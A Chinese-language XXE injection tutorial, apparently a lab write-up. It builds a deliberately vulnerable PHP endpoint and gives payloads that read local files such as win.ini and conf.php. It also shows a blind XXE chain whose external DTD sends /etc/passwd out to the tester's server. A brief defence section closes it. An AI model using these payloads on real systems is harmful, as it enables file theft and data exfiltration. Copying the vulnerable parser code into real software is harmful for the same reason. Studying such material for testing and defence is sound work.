什么是XXE


XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE漏洞原理


XML可以从外部读取DTD文件的话,那么就可以想一下,如果把读取文件的路径换成另一个文件的路径,那么是否可以读取到这个文件。如果把路径指向一个内网端口,是否能探测内部端口。另外,服务器解析XML,要么一次性加载,要么是一部分一部分的去加载,递归调用XML定义,一次性调用超量的定义,那么服务器内存就会消耗光,造成拒绝服务攻击。

  • 读取文件
  • 命令执行
  • 内网探测
  • DDOS攻击
  • 钓鱼

简单XXE漏洞代码编写


  1. 常用函数介绍

file_get_contents()函数把整个文件读入一个字符串中

php://input是个可以访问请求的原始数据的只读流

1
2
3
4
<?php 
$str=file_get_contents("php://input");
echo $str;
?>

simplexml_load_string函数

将xml格式字符串转换为对应的simpleXMLElement

1
2
3
4
5
6
7
<?php
$note=<<<XML
<note><name>aaa</name><age>12</age></note>
XML;
$xml=simplexml_load_string($note);
print_r($xml);
?>

XML注入回显 输出函数

print_r()

编写简单的XXE漏洞

1
2
3
4
5
6
7
<?php 
error_reporting(0);
$xml=file_get_contents("php://input");
$data=simplexml_load_string($xml);
echo "<pre>";
print_r($data); //有回显
?>

eg.

环境搭建

image.png

image.png

读取本地文件payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root>
<name>&xxe;</name>
</root>

使用bp抓包

image.png

修改请求方式,上传payload,读取C盘下的Windows.ini这个文件

image.png

image.png

成功读取到这个文件。

漏洞利用-任意文件读取

php中测试POC

1
2
3
file:///path/to/file.txt
http://url/file.txt
php://filter/read=convert.base64-encode/resource=conf.php

读取文件(有回显)

paylaod

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/test/flag.txt">]>
<value>&xxe;</value>

image.png

读取php文件

image.png

image.png

读取文件(无回显)

print_r($data); 输出了我们查询的结果,如果没有这个函数的话,只有使用Blind XXE来构建一条带外信道提取数据。

image.png

请求服务器,服务器会再次向我们搭建的服务器请求dtd文件

1
2
3
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.73.134/test.dtd">
<foo>&e1;</foo>

构造服务器的dtd

1
2
3
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.73.134/test.php?con=%p1;'>">
%p2;

服务器请求到这个dtd之后,会开始解析。然后把得到的密码通过请求参数再次访问我们的服务器,从而造成数据外带,我们可以通过抓包获取到信息。

XXE漏洞发现与防御

抓包引用外部实体来探测是否存在XXE漏洞

1
2
3
<?xml version="1.0"?>
<!DOCTYPE xxe "This is test">
<foo>&xxe;</foo>

如何防御?

  • 禁用外部实体
  • 过滤用户提交的参数(XML的关键词)

参考链接

https://www.freebuf.com/articles/web/177979.html

https://www.freebuf.com/column/181064.html

https://pentesterlab.com/exercises/play_xxe/course